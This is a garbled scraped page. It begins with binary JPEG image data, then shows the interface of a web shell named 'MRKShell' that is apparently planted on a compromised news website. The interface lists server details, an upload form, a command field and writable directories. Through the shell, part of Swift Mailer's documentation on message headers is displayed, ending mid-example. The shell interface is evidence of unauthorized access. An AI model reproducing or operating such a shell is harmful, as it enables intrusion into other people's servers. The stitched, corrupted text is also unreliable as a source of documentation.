JFIFICC_PROFILE0mntrRGB XYZ acsp- desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(bTRCd(cprts@f'ƘmejphDG7md  XEc|\Paq#;7[|$O[3؞q83~W]PB"Id:[giwRꪲÈVgIr"RxV &DȆ$ ;0D  qon:bTBLB>F#X| g+(̳bW3M~Z#6t/t  lH;6&J{[ ZT 6$jU\O3{=bǃm; 0` 0` 0` 0` 0` 0` 0` 0` pxlceLx/k*2jL?0C'. lzq ((&`-x$Ͷ~bMϧqcH* 9U _9-N$EC  aV Ek=QTTTUEELj_pF+0zޝz—+/ s5'IQ~qK\>a<$*/ .8h7R"qHk!q ,ϝ̹JT8fE$ #f`I"X$ܑA$WV ldП|],qQ 4 J $-Z[,bfE-s<1rQ^DTsbj!gi1;cѶ{ex0` 0` 0` 0` 0` 0` 0` 0` 0`a4Ȗ&=v=Nr tc y-q[}'}wS ԋw'匪ssnmn7=ɭH<ڙv =g $8•Gg:oL@w?1eO 0L \c7b|E7emM&"G6sCGjM1ɕ ?9LܻѤ(D@/;fe\mc>[a[aqc# 4{nخ { 0` 0` 0` 0` 0` 0` 0` oo:NϊjKywǧ|!r!xoI.1XHHb:I63f Hc"Uʉ0:@L/PBMOyӸ :vhʏ"[i/ .A1{Oʶ^&=WD߻ D: 5}D{mL 'bDG}/Wly v=ٌ5#ĵ2)\$$mI;o/dwe]j`@XG2e*@\O{؜u[%=6_f'"bDqs 0` 0` 0` 0`k-يs]ԧfS c˧z{S`w0`=ӽ=~2.Ly$  =w+A [ nc];ژ0cu`_#o}[|$u@,aH"h$r-ǷWWZ5Ơ n:)KUç@ؗ1gܝÑJ26 vL'ۇf}FWa:\qB62`>vǃ؃;vHLoq}o٭1*-jz)-1"ߖ2Yp@cVǷo^}1q8BJNerwIRP7;uoo6uf"$M*c]Lˎ*AQA쳫I|j=2Դ ,z=bq33WץEktKY5\_SV]?_<f:W@.n z[މ*zʝdž׽^+EdFi;mO^N*t-"$b;[ͽٗ_મMt^n욂wO0@hRaeWmfiQ,;e{mþWJ.DP^ 15*>Ā7%@'"%WtbObJsyK׈v{/F/ &Z\)Ө*5M-r1*bȖbCZS呯X׈3 _Y=kō:,bR$oEËfd .$$w•bWhMD{Pw\OA"=}A"pYEqxGg0Um=zG1sI;$4nÖ-}~8z~?)ALE^Oy3"1؉Jy9K_ӡ]HLO {}g`*A.on>ccTHA2$.3J"ⶋMtɋPSP66.U[$3KZeZle&'MW-ڼ0怩]>a}k/#^O¿> z 0` 0` 0`.n(k)+{tOjbv RubW5wXUW=*p<ͿYx[CM)ʴT>#(nK:[aWn|9erD2UʅqoK-c%2EHs# TsW13Å7U|᧦_VJl,ŕVE2 '_<95hjեR/RWP"R7)5Wҧit!b#,Hpn[[=pKS)3%U/kF%w/}9#LtXft̓@b%秈A7O3Cy+]sFSTs'Y@iP|[͆؊ﵧk1R[y'rši,g@ P1צ?{hj1('%Se!,$͉2QV9kKghyuM"^t&JL)dHVRWjyn s*Jj)1`5ITYm= uuigP(dM]҉B)ń# 0{ZSiJL-f_嵭M#x_9>§Gfk 5jt҈(IiӤ<"~ѼgMGB=cZ*I$Vg[WTbkś K;urDD7D%kt[+S@J@1&o4QqJכǸ;9,460*aN+5]&DDǵ.R͂%EWpH*Oo߾T;T^=j&EZέU=ui1̶c5m:){fˑi06wϭ,k qh#LomӠ 1 =m ~w݊r@ `u?3k}yHT-# u88VK_5<12uċĞ=W;OG"wPm-&$~w?ZY%Up5 h?= ˹Fmrwq(׊jʼni$ZwhKˇ*QJ{@crn[aӿm>V=J`uHW?LϤEӤ\ZoCH3K*8*ƝpU8[-xL>V{s.ZG|2êKJ$I 4jRu)Xk8 ڊ]*Đ HEO;`p` 0` 0`<^ \P_ u/ƙ3ܷ"5Uzb"-rƥ:85?]1PLy Ivwzn*LTc&M{AwbrWL%fB l3k29U,YL/]5=\ை괪 K-TޭZt4 0e ZYzԮ|Sߵ>g/#gJtUƮ!^1"vE pX`fP,sF D2%EE=+Qq6y mVϽ_!uP) Qo>8忊?nn=y|˃PNU~"B;$2FjVH*MTEkZ裻/ukUtĠ|A2JUB:jI%@=m~;8\g;j9?V2w~=q̛F?$=b+.+Y8ۿlLj z6bluZI]M$zvJV5{}nu׿sS*߹\yb%XnXc  Y=mP1KN"jP+_N_qSVv@bbl ǧKe2 a1@(wɼVU6&Zu6CZDj&M1V:@fsră"'o9STjwbXJIY-( Jii :b}polD0D(O,AȜ\tɍ=LV A`Le[rFTr_.ex Lwj35-rӽ'=jEgg^O;YY? lo^ƒ!K7VM  o;N0f>[$&,6K_ؕ,KlRZ:kTw btʚ72y*-,\:ge?;!vk~wiuo}=L\^Uy `^C$ưRDd t]PeΝUbՎsEVNbwNvl*L07Ժ*heʪRDjzYHBQ:UѻA6$p~%dsK0]5L02cQT Y(:e?U(O+_Y;߾̩9PAھy?9N6R+jR.-~N8>]HC1YU/10>p0Myh) Ʈ,gSg$ ܖoC"I:G6RH  \Ҥ$v3fo†y VDl"Ohk\P>_W~% )ԍBa8A%DNFjTb)nr_Q9U MB_!D|WL( cI'I>m#kqQթ-m`mۏ|L6OƲӞqr=)]pkfj5_SQl*"PkKa1Tz:,EMP JԠ t3š)&/}HL:{_> Ew/=G 0XA##g0` 0` 0`F~Ng(,Kg(X|*Rx<8f)cλYsZNku[1VRS[i62@\ar\bJjdӦ?m\_׬r~\ĸF(s(icYAM++e ĽL]r3,? Cөr+TWHeW5V  PUUfSgfU >hxuJ\RF$U\łMiaTǂ]5NV'G#VMWPHO0sy?Z5g35kvگ뱜cޅ (].Eؽ9^3bTL{CdsV,F%4I@+&m 5#WSVtN.;׎[HQIw1=/ppI Vu5L$v>f@'Vw{[.1M#s#0\1|}-|x5. Ԕ"DuDG6NߏLdd+ԒD?֢38Cf 6LzL"['DQ, N:sSRA]Lz-9{VUT>!dASV:eZI- Rz"doDK+TIwGTSW0itlm.{9Er誄/r٪u٦Mԝ2uAeb5yH1<ۆ lgj5i0UDaR- HtuN=u]biҘ.Ɯǔʮ64N繨]S 'Aij*QQasm 7>ƃU2<1…rĬqQE@ò*"T:fb CL ^^'Y7_&% s ˽= l|f%}^r%]Fa7﨑U״U(P@T Sk ~B߻'@gwuDW:iG:ee>c"7Òs)UVJtj6NT{ȸ1Zl@Fa2q0zÎlD( dFS˥ʈI普jZI, 4[ H K_/^6b~, : ~-%^@rO*w6RO(REB(voNj fBTVK7rWuUzt ѤɝF0cED 0́VrHZi#F!BuG96i89ݛ>`-:qnúnSI%@jɬn66XK3X H %8vߗrW_QTF N@) Ќ<53G,PѬL0s>EEuUD*7o3 %kc 0` 0`' cB*en@>B=*' W򂫘U)4׹JO$=5=ֹD>=ώ?2^-G¾ٞ)A>"T6(OUjH Y/}jfRPjڴJ`)(Uc,`3׍G%};Y3˖4J(bvs_d*<"\ҨYd%WS$ȘĘS|¤ c('E T@rG[hn˭޷že^k4H ʗyw Y^3ih( M4mnAML5(oHT::o&ϮE颢79#*]A.eifZ@o|>ZwƇEVPJ!Zl'w7髚}Q̼1o-~GC'ICc,=ON WQ遟-91Nv2b́2:\# 8FZI9yrKTsK}S@_`D3(d(6̄7MO69&E0z"--ݶCFG} -pɾҔH¯bu'U*Ձ 1P֏SzLC5bqUj3@:uyYO5Aɵđ8/5?8IWf m8\+ҩr(VNԊ#ʪjO+zX`ЅHYBթY[P$EؐbRን+WT"&̌WY 5!Cb`]] )i+MҨ!Xaռ>[f4jPg sf!3ي\6"qCREYʖfZ`@,Tx+[ !̓bLl6pii[Tr7 RL 57  Trr|;+^ֹ5\2\Z'URDeA$Xe?e46N0Fڧ`mqAb YrBE T>Ij @cа1- Ʒ!3#/XPGg·U:=|`"Nq2 N> p Yʝ"H` N al'~0` 0` 0`0cdU~-HNz@:TM^6UY2 :iXd07(.H:YiqڮuY'N!u)L1K9!M}s(%:( %u|3!CKkLISΥ{n`o<;/MHH čwÔN,/Q"T#%Q+uj/j{%:iU:# Ap95BHbdGrnt :,P H+&%N!LDC U:mn7Go c-؄ńS8Fw^v, HRLbwӯR%ZJNJ) 1RHY"??뛢 Ӄ2BT&R֥ U`)$6 P{dGYۢ2*%ܒA7;ר@\o8j> BS\6dIG ebU 5)W Qi YYIj e8OԴToXu@VzrV)iTYbCHBQ3ٵ?طQ'~>beYLIr mӤ{}<S'OnZ]8@)ó$G;G\)SSLmao-~*iT\? +}c8H1Ha%lE aw! ߻aM"Nb;'{S߇eD*S 0` 0`1ulo+K@eMN$g1Q8I0od]&s'6̵1*qCel'9 }x,_anÔ-Ѐç P; scF Bt%UwN 4)b` ^0nJ%s~*5 ɉms+KEd"UI (3`4JDcdEXySC5XC`/'qn{:Oe tA5=%(XƹoU U!̒mOFִb=vm鶹oZmM3h}EkH [w`U7EFlQjÞLY@R &H$N:x$* 23V ߺh K6@v:*b} yuZL8Y̤KhoE>n3N7n.Jxq+b;HDFэmΝ͕8<PgE iҨ͘` ` &H@=jVX+N 18)hiDPjoHt_5ܓi ٜz!RQ2 ݚY9Ob*@QOK_ĩ"`\lى7cIêr}S܋c]ɹ߱O |aI}:o3I>r_w`D71-*T9Ԟg,>b z~x%4+u1gp?"@,R+sk+vrT{{08-ZM@X=`b\ΑID_d ':"jQ\fi ?+ ij^G?)5 !LCD$3^)W}W7T)5^^ $E_w3 hYJomث) >bT1>>XfX>*,7[D{1J5 g"?A^v0`(l  c9l_g}=jv }*RZaT>:dP_tIR3du݇_aO.2gǡUmlU&RL$r 1+S(,T?./{sw<෶^xI5CZdYX~~@x?>9_rwNbpbH#`{~9Gߎ5DwfoٍW0S7,iT&GO8\kQ-`N yJ0?9CLM-#H\R0pU\_$kU^Xq'02¯T.%Je32 u ;xcÇL2Ҋ Y kC1cA5xW}A(gi 6\^K"k\f3U xwn)*9+WMЊ:k'η 95O1PiuZ ̮Ծ]:+*:yRq:ETDX <AsIfbNY+nWj HM(]9eSPQ-!ӮXF4DidDNr[O$|6U(:9I B@ ;oq׶b`eG)\ `P \!vC$(di(&g=gŠ 8vaVץUj,Z h-Η$I,Hü,RzmHT 5RX!Xǖw7+QQ8D\w> '0dY UED.:4q.-j뤾nwv;45#)p~`c@1܀O`|#ǽxWvcR616-'rmipuUʋ"oO6{ۡ.QzkQkX|xpW`Ma$aB+(@ðƩx-Fᱽ{Z[#zL}*-:<}Fl ԟGJez:u6(wQMo{Lz|l1 ~E8A&E;MD#m.wq=b}_UP0*]\`m忣.sQj@1p;VAq$zv'Q9Qʑ,+1[&! 0٥^?O"S+'[2Mtk; lrjtH`+```f;9 9pٺLrYWk DBfBD 2cL.dn,7#7%0E2DOK MȾ5.κL$@$nld˔sm)`tޜsQO|(GY WYja)]@0ķs$|ßeZIP DQQ## yf1jIf]88idy:?|q?\y?7MQDD~8) W[nw1g*'# :L2C|Lzĥ!Ԁ&68j<,G6ip͹RrCR!u\sw]O5_ek=fYi?iA2KzG!o2J4l/Ufb=}4ĩ.lAòkR&4*22kI!(S5BѦijtȺK0o; SEjU*T1Qn2jbkU8tӍ ^TC]QUW~rln$ٍ'RK|Ѥ7|B溔>(*] E2!g$I0RwG_LIRlj7:d5I[D=q ZL Id c`jP5{Xl,=؍R;~m~8v zϴ{og6+>^e_;l3 36_.3̸4I\oa}cC_g-لjn'2Ѽu7:%̒N/HQc<"z;8wcSVHHk6]d.,v1s3Ӭ?.H*Py8q[3UcYُn{ÂmT"'|$N&;N"894K^5!fC$/kQqjȪպ**&[q&)Z35KF^e AHӾr-`] 86?~prbwO!TE8n|ƎpӤ6z$!=%Yryx&A"YDh3"1GME{ ẅ8#t A?/Ußdž# 1nOǚG ng:@cVv<2P/uMշDr~qɍtӯ\ZTA+k ^Lb-"7n 6mE,(%5CqȍFκ&pe^p:PH"b3#\wVZK30~`X( 3m~׳Uq6SdNkJfRK rD ^$ԫW?Y )򐪇VoM+7[_׷ppG=AS$@H톂y%IsM ~ \tҀ:`#tk.NǤIߤǘ^gz>X/BN[ѽ8'צ>8Lj|:3=IyNv2(1]剴ȱ>I {1MH&HֽӿK*Vd^]@E`@z'o_O-\( 6H>ChYN2X Xhi-ٳ/0bB~zG /;o֘==c]WԟL'Ic~S |3yDQ }J\y܁o 0O鍍^cj ~-Qno+IO讃ԍٰKqM']Qiòݾ/!NzcQ[>Yia7C϶.{'fTuvWR Ag`4 䙻2XUY*vX,F1Ζ@1U]$hTu`:S)FX4JRHna+!:?)I>ulS 4f ԹPI Eds;HaaQMiH?xok⽣}nEB~|9\"k\m0x"{vO! PQM+==8n#5ra'^ ;'_ksaaʑޟ5Jyغ[G^TZn ! ۋ{wjxYuűS)X*r~[2<jfb8  0QZ}0 =}x9Ϟ(q-5p+^Τ]YAĿ3Ïxw*P+0w}fiI`b ר?x`RyꊷNn:XJtQ7&+ dڠDSz/!\@;|qDK[=\qԙ MNZR[|ܕ'Wc*Gf]۱=lr*z}0 ,=.}=q2D=zaRx+溧ҕ2/ ߐJ6MzwÂOq_;8ZNaA1*wD3oQk6,CJ9ܜx/iM&M IWoʌ3 LD15jRN}h:qU[kx".id @rpOdtL 8+oRI (5 uc,LD'e#AvtJ[$ɲ-6 F(5oh^Γ:HDfXY*,QK%\VƩEZHV ^L`1WC}S[1l+ ZtL>ޘfMM1yRB\+.3ik*}Aíjbq/9W8UjhK83x3ss"&Vda%;FQ*)4*µo.ꩥۮ|ps 45 2qY%UeM{>c.c琈q;20)$.$8(|U1:Ea_}Oc=Y"-bN1wjz\Fp5-azzGlGu~MA𨦢Ht$݉$ݷ'zWÌ6,0⾔\2}\PZTP JA@ u#\2gtdzOceALI‰2CچX^(T߆C#ygY:t c>-L%uʪ61\j'/ 0`8o̗͢KLJvi\4F'Q||KN xO9N=4Ho%0maTvzqBUIC>F9߁h}~㎞B>-D/,p==5_ijO7G%EJAhme%eԩM|̷̷NSo: :C2Wl %T^!:svK9jGLƣX$Ӹ>XҢbFL2h0QC`(pACk{I݋~GL♔ʷY JFXmz_ y5O>s3Z:5Qv.K,0-g:g]l(FIJYF uWpܬF[r(.9ya,S9s_j^,QE+UJL`U~"%Ğe>Y*LZ\M_+5gSD pq H/bw%]P}/Vo_.}׺E8@Nʉ1+{cgD_cbg|j`joo:IT=a󵠌fR i\zoMׯ@`;-iHmH8&?e_N% UL! GKXL҄E6]GEZm0+RYA pҍAʙ=G?oK(M:m$A/8ES;1> *<4*"0+U:_%C!Rd/LIa%1d雮tT@+"ck LlK F):QM֤iBQ&+ P j=!y+]5.YnfjaM.]鲇[IPT I MD'Ʋ9a^TU j#`[$)B+}ŨSI&d @(s{, kh4nϟ/0dmXv.R]\ ) I7$Lk+* .b@;bT Wd0ߜYJЪDH7r(Ue gwuS[cSTǸ6{uǝ_w1`Tx{|c&RFO_N?|z-"R*~UZ1=* A!NlrIF59D[HjYHZ ?Soևt1\,aZ9RⴸI$$ .G^y2H} 5Hr ;mڪKgөW~ M0bU$11!#Lܬ5_+/ 4Vdn \@60԰nAV$,0djXʴq886jyArsT*D"j7a2PVoґjUEDĦ*濌AJ^LC=0l1%HuQr`΁M]Q8lQbDP=K*Z{1{1yeTC\ \G%ڨ(-xU#ʈ/j2 IcH+l{ȘN.;f5Coߠ;Zs봟6H Ju¤6Σ@5j 3 Ś2|DYQ>QFaՅ%FL.HR-yLߴ6x*56AҴŌ ``,,r \SǤ/N>olt_KVp!A}9͙uzL =Km.~d{]o_ؘVʴ?8Ī~j*R$0'B`KXM3 o[Ȋ@.ꈶۆ ?\R7 T44V ':DE;l¤_/!a$t:o2H-%2rGb`3.SqEuTK)r^ 'e_x=5̈́>릭o8TdTF:P ϥIU /̲Ԫ*8QAa5ӈaki{3ZTe~K\\J#g86i'(*56?h (DbC 6yr2?<6fMt&^g/P|6eAH$\_JYWUvׇG#H Q{6vXߵ.FR IP*n@v]х/ N!U*i"#A}wc71 66 @p7;ua?;buX_ۋU߯O08iJfR ^c;lV\:)^zl*-:pښPHUEV/P DoMZza> #TSe$H A`$q^ݴjON(i9,"ofƾ;Lun3 'K-^.E?S÷iu|5,Y,II^TJj %0 H Ҷ&v1}B8JCKŦNP+cn Ѵ,Xv#z ۪mla,¥5Ug`z(g*iԚ3^F7RYP bd 괎my%9C&!a3 ?iB@,aaA7 WXT+YXl>o]ߵFh^B8u/ dQopm˽cEJnH$F r/7AT+n|7Oӫш95RmuLQq1{gFT$ӧM<b>[r/|\^+G7NJpD5*-`t𷨧*PZOɫa炧: oR+g;Fߔc>u V'[;*e8ީRo~/gݘMfQ߭`D#WK㽷f0r9>O-ժV3؝:E(m3i7ߧ6۰{9fљ*M2`YgԨBtgA\8F}:flT~q%fIz'hNH `1`B E6$ͤSn=[:=@sw|(3 5.?vcL aB/JsZN77Ap` $^ ~v#Q¸e*ARHA? j6ڄ%kS󺨱@j}HL_T*E5jM@%ɖtN4[\/\̓h-#3:w ߡ89Hr2w롿o~1NceY}j sO199dlmxƲRT[@׹<14y2] T*x-y`Do=^aoҨOédҡL *Cy/k4)o_@xb8~hwJ"~}W FO{a1w=qP`؃8kȫe}6E8v?X(S`oxnbö؀>(r]n)%wP}o3>C¼NU e@$xiQf |eBoښ(d^(p/ʜG/YV P_JD`7=1'#\5pN)zT˭@ԩ\IRw#ՊP`1pA ._|DE_$ȋ޶DoeJ9UB҃2P '?ǟgand5(j™1 1s -eQ^i=[Y˒f(U .0ԣU7ż_Į2[Ŗ]v3*Ԅ2~R L-խaZ""[jK1u,ek&0t20FC#96&X+0e 8 %cV331zIUU\:1:5V+0 A AWL4nI-yUsgr@f,4G(HA`ask<)d{0/5 ! Wꦌ9ʇ$Hz.̵F9Y[SYzT)E S7Ty)QuWR(.6T|f쎅\#X/L-5Ԑ뭥ҞRI_J뀇|nov/R)T,:Ul \^ؚ>s˕f2"ǿLYʝJ F663BȐXf,4peS\F ܤYc_5P\s4y!GCLb@e(qJEKi]X>[5uiA AYX*2 VިU41J`yiaw2DDߍ6J=+NxӤ*)04xL nI4*E8''s0;>oJL*pKc'%?r<%6 b/0>},j:I0G]=l';~V_¥ͦ n :F>4n#YJtkU,1OQ0DtD>)Sfb!uv$>o~OFHG@{Ӧ$b8*n>-*AZ>bjro9>|1w3Hb dv=/q;G 3q |<;}^nR"5&&|7e77ms0A~'r6h#BF{pyI(R~}^_,Bg53G+FBFfs/$Yw=KDzta1Z\p"V|D[-{Dva̜9iɕhC˪@֘*˦Pdw+s<1*`v^^R=\gDq rUzb)/t(doh9[*K6($& }U|*ML؎Ґ( pFʻSSX`4<2-UcЧ= kyJ(;ys HrNN#ƚLKj$K4YBW*+,-?ɘpx7ۇ:LǯGBVc{ݔ=.~331Y{Qn v2(X+D Jdj9}D_I'X-"ѷ]cuS~g3 EP۬f鵸@W"jy5WP6pgʩ?RUn.1Zf.mP:_$sleM6{"ߵU0e5Y-+Mȉ{-eJjY 4*QjP.bF99TR|`ϖR|/޶-3[e;-[~Uz Y*I"4VػWͼ·ZUG5Qs1\Ttlo 櫛sc9mR+hmRg5닀D-ZluͤlT9*|kyrNc5͵+sW8 Tvs T*LFxӐ!O-gSWPQP%]AK9[|['Z"QʍY5M8NhzO7R~~.#y'Qg2.墳fb{znSDOBc>fcq@1󆨻g?U 5N˦1bUt-(8K檦/ &]SBAeB1@t$ q=\ JFH bGRM/' f8qDPVZc7=pkp7,K$ XTq^`iBi"ocZ[g/C&;`5^89s7P!UD+ cM0]1,nnzJK鴔ʮ)M:aGM' N 9T-6G4u ztwTUU֦nUWY2us Ymϵ2J%GDDB! Pƚ !sT0-BE:iJr"*b>5[L,m t$r&wpBUĬGRm=`_hVl˳ZT|Y*&<)5hy/YPѯdJɨ3,gnlR>+7*S>)&e_j\wPIaRaJ=Lp/=7 Wdf_x7=7 6n_jvR{tz7"eU+Ivg u,Ӱ&A׽+F!)"1'=c\0R@sO{l 8CG1% Y0Pv/,.m7!ߜ(ТQAfG^ i:.*/灔o30)Mt'~# `$VP`r;zG^'ۆsuh!T$_ 8}b*êcTE7oߍ->+R;P'q.+ӦXNC*墾X6^:s_{>i:}nʅRd`:OO ȥpz_ Y_$ jnt($@a!uje ݌N`N!5Uh@aeۿSMȆ- ,u I'b5Ziƥ/*S Mm>#f."shj\Ԩ B33 فz lЩDͺwaiA_S8[[~OOspTE ebn.}s|ځ̲!JG\GDu$`ogRJ;)Yi%tb6;j=')tw[Ƙ@aJ?qdPj.Z?"_hwMuN:o<Ku'< ŕ{*Lv3+*[z>Ծ22w9[#W)5Tm!vߧYYNX1{덿*ĉ #w'r%u*ߏn^;y'5^ Naj%Q&lv'O9ߍ'c1NbiS? ~+0uâsdsF`.S3&Zy1e{ݣZXګxc3%*6NJ^,]#/b\)OqhQƣҙflII-%5Tt8Oɚ(DȈ=IdoN$ETDU **5*TvmnuAbDɝ|l,l.GHcĘ1ۦ=cDi֚NiXZ6 SI w-^8o1!*WQi9MG Vaꠑ&.8+'\4F2I"kLKߙޘő/X:-'q~745"JX&a?ѼlJ-6sȧPѠR>bǿ[|Fe8Z* sN$4)A$&}g)QQ'N2%i;tׂCd!oRxӐܾEϱo/~#OYzܒ;]>rq0':\U2|VA ED8P++(XxpYo> GM[}31gwCM thoc~1}7QiD<9;E߳mʟ6͜Uwp߲5\2k1{D۱=\:\8%JhY_Q(֝9{R𰤅H%_- RUntE7>AGI:-,A"% O)0f"zߦ%; YTA"ޖ@]یzƲXof{zSHCK 9**_YH1K}wq<@lI뽆ަw&ӅUoOC: C`NqpO<f& 'f ݄,#V՛jPQ(mﴘߞ$ڜlVBeRD>=@:\7ؓkX"E N`P,"bj ZjiPUZ&j ZnLɄPƹsZ[4rġ6l7ArE^sz ܙyc9O⿏o;'5W%U"Qo<ii~ $e|,r˕<GN*|.akT_?*Ɲ5T`n+Te3 Լi!UCRgL<Ď^o5*r&{˖eeEfV[{II2 )d}_IWggfڃLNu\[k=_FJ!hhU( xb$,鲳Y{~JQ-*/}O9ëUqS#*,caZ(g)}߂E:V ObOֶ7)= W ,n,n-< r<{0`Ly/B-7Wu%SP^SxRFm=pa[/6@L)P%%-SZCP5EM 3˾YU`J'QP$Z&H|ē®smTk(p_sjCfKe_B_URCjemH@֤\ y84;zMbտQsuyUJ0}by 8=K i>43 >{Գiԙ]%CH L,ld Gi8Z!V2+,`Q"e@Ԋ?<"sSl/y-RY0/Aw\7+NGQ'yu9PRncM c}lt'5T2ܘ1> -+,ʣSV0PnM7rQT%E E`p?@(@SCNNOGj( Xi#qqu;9Yj-BDv^{ /EU:0L$7Qtf[tu?BO=UNHOkGl4$xK4r!'쎃 i 8 g5BK¬S͛O<[-cT@f PXѿU=W/QΩ7øƠugU_K㝨8i").nᄋ8Cw(^W(cr&;l*7pNwl}/ٲR&#hk.cz `t&ֵ1)L8U (:@X8yB<b1Q9 VJUAayR6hޫ^X`"m@-[5wr^A ͠*V\y4%g,.XE|zࣈP`wpڅS6]Ο"|G~,iBI&c]Ni'=R]UJPldZbm=y:wǕRh7\;n?.Ц9^ *it]v:&=@ `3.#`phui=,\ª1:!{\>|ѕw kftwf؎~)f5L# jk_،Eo}Z^ni d,LIm:c%-t;U1j\Le3~Znj6 zy쨤S3%Ao 2rt(WtnuE hVPnS4S0jUZ }[3ny|)\9نUeAYUY2b{ bPv->Q:i$ UQ)˙rG'msa͘qG9Ů,)-t%jf[IHDR agCxU_d~n!y ЧRԩI UFKQUٮl+Uhw6伊\P-ۖ`9sy梵k5 iRz` "JHw)k/ڼGfdkTSPP6HIB8AT [miXʑk qjpD׎0 7'UnPp` S62D XY9ÿ8Yg4GƵ3n)@nZǩ7z2aEPH(3$1;qf{醿sx~^Ӿ~ F?2˭*QB1J$Se8ڸ<ybjBu/ÿG6z%ٕӦA+p]WfK<<+ɑ\Or7,Ç4_-rޓ1}.体Ta19:8ja3b&G0}Kۚr]|)90әM*W*QQjԝܕیs2q|>Bf0HmKEor'ȜGdrjWڡ $\mQ/1ϯN%^? Hb`m6xՏm߻ޞ;|EUͩAME|F« ǯs3x2xoe~Ī 3֒7WU*\F\43->VfZh5{=3V[W{_ÿi]ݼ2g=49V0ὴ{WOgq+`2›&1KZo.ap (Wc&;yINc0L(`@zRĭj~܂w=#c"SO`oăJ8ip/?5 MR K IS HERE
MRKShell
Server IP : 104.21.57.112  /  Your IP : 162.159.115.25
Web Server : Apache
System : Linux cln.haberosmaniye.com 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : haberosmaniye.com_64ndzm0nls ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/haberosmaniye.com/httpdocs/vendor/swiftmailer/swiftmailer/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/haberosmaniye.com/httpdocs/vendor/swiftmailer/swiftmailer/doc/headers.rst
Message Headers
===============

Sometimes you'll want to add your own headers to a message or modify/remove
headers that are already present. You work with the message's HeaderSet to do
this.

Header Basics
-------------

All MIME entities in Swift Mailer -- including the message itself -- store
their headers in a single object called a HeaderSet. This HeaderSet is
retrieved with the ``getHeaders()`` method.

As mentioned in the previous chapter, everything that forms a part of a message
in Swift Mailer is a MIME entity that is represented by an instance of
``Swift_Mime_SimpleMimeEntity``. This includes -- most notably -- the message
object itself, attachments, MIME parts and embedded images. Each of these MIME
entities consists of a body and a set of headers that describe the body.

For all of the "standard" headers in these MIME entities, such as the
``Content-Type``, there are named methods for working with them, such as
``setContentType()`` and ``getContentType()``. This is because headers are a
moderately complex area of the library. Each header has a slightly different
required structure that it must meet in order to comply with the standards that
govern email (and that are checked by spam blockers etc).

You fetch the HeaderSet from a MIME entity like so::

    $message = new Swift_Message();

    // Fetch the HeaderSet from a Message object
    $headers = $message->getHeaders();

    $attachment = Swift_Attachment::fromPath('document.pdf');

    // Fetch the HeaderSet from an attachment object
    $headers = $attachment->getHeaders();

The job of the HeaderSet is to contain and manage instances of Header objects.
Depending upon the MIME entity the HeaderSet came from, the contents of the
HeaderSet will be different, since an attachment for example has a different
set of headers to those in a message.

You can find out what the HeaderSet contains with a quick loop, dumping out the
names of the headers::

    foreach ($headers->getAll() as $header) {
      printf("%s<br />\n", $header->getFieldName());
    }

    /*
    Content-Transfer-Encoding
    Content-Type
    MIME-Version
    Date
    Message-ID
    From
    Subject
    To
    */

You can also dump out the rendered HeaderSet by calling its ``toString()``
method::

    echo $headers->toString();

    /*
    Message-ID: <1234869991.499a9ee7f1d5e@swift.generated>
    Date: Tue, 17 Feb 2009 22:26:31 +1100
    Subject: Awesome subject!
    From: sender@example.org
    To: recipient@example.org
    MIME-Version: 1.0
    Content-Type: text/plain; charset=utf-8
    Content-Transfer-Encoding: quoted-printable
    */

Where the complexity comes in is when you want to modify an existing header.
This complexity comes from the fact that each header can be of a slightly
different type (such as a Date header, or a header that contains email
addresses, or a header that has key-value parameters on it!). Each header in
the HeaderSet is an instance of ``Swift_Mime_Header``. They all have common
functionality, but knowing exactly what type of header you're working with will
allow you a little more control.

You can determine the type of header by comparing the return value of its
``getFieldType()`` method with the constants ``TYPE_TEXT``,
``TYPE_PARAMETERIZED``, ``TYPE_DATE``, ``TYPE_MAILBOX``, ``TYPE_ID`` and
``TYPE_PATH`` which are defined in ``Swift_Mime_Header``::

    foreach ($headers->getAll() as $header) {
      switch ($header->getFieldType()) {
        case Swift_Mime_Header::TYPE_TEXT: $type = 'text';
          break;
        case Swift_Mime_Header::TYPE_PARAMETERIZED: $type = 'parameterized';
          break;
        case Swift_Mime_Header::TYPE_MAILBOX: $type = 'mailbox';
          break;
        case Swift_Mime_Header::TYPE_DATE: $type = 'date';
          break;
        case Swift_Mime_Header::TYPE_ID: $type = 'ID';
          break;
        case Swift_Mime_Header::TYPE_PATH: $type = 'path';
          break;
      }
      printf("%s: is a %s header<br />\n", $header->getFieldName(), $type);
    }

    /*
    Content-Transfer-Encoding: is a text header
    Content-Type: is a parameterized header
    MIME-Version: is a text header
    Date: is a date header
    Message-ID: is a ID header
    From: is a mailbox header
    Subject: is a text header
    To: is a mailbox header
    */

Headers can be removed from the set, modified within the set, or added to the
set.

The following sections show you how to work with the HeaderSet and explain the
details of each implementation of ``Swift_Mime_Header`` that may exist within
the HeaderSet.

Header Types
------------

Because all headers are modeled on different data (dates, addresses, text!)
there are different types of Header in Swift Mailer. Swift Mailer attempts to
categorize all possible MIME headers into more general groups, defined by a
small number of classes.

Text Headers
~~~~~~~~~~~~

Text headers are the simplest type of Header. They contain textual information
with no special information included within it -- for example the Subject
header in a message.

There's nothing particularly interesting about a text header, though it is
probably the one you'd opt to use if you need to add a custom header to a
message. It represents text just like you'd think it does. If the text contains
characters that are not permitted in a message header (such as new lines, or
non-ascii characters) then the header takes care of encoding the text so that
it can be used.

No header -- including text headers -- in Swift Mailer is vulnerable to
header-injection attacks. Swift Mailer breaks any attempt at header injection
by encoding the dangerous data into a non-dangerous form.

It's easy to add a new text header to a HeaderSet. You do this by calling the
HeaderSet's ``addTextHeader()`` method::

    $message = new Swift_Message();
    $headers = $message->getHeaders();
    $headers->addTextHeader('Your-Header-Name', 'the header value');

Changing the value of an existing text header is done by calling it's
``setValue()`` method::

    $subject = $message->getHeaders()->get('Subject');
    $subject->setValue('new subject');

When output via ``toString()``, a text header produces something like the
following::

    $subject = $message->getHeaders()->get('Subject');
    $subject->setValue('amazing subject line');
    echo $subject->toString();

    /*

    Subject: amazing subject line

    */

If the header contains any characters that are outside of the US-ASCII range
however, they will be encoded. This is nothing to be concerned about since mail
clients will decode them back::

    $subject = $message->getHeaders()->get('Subject');
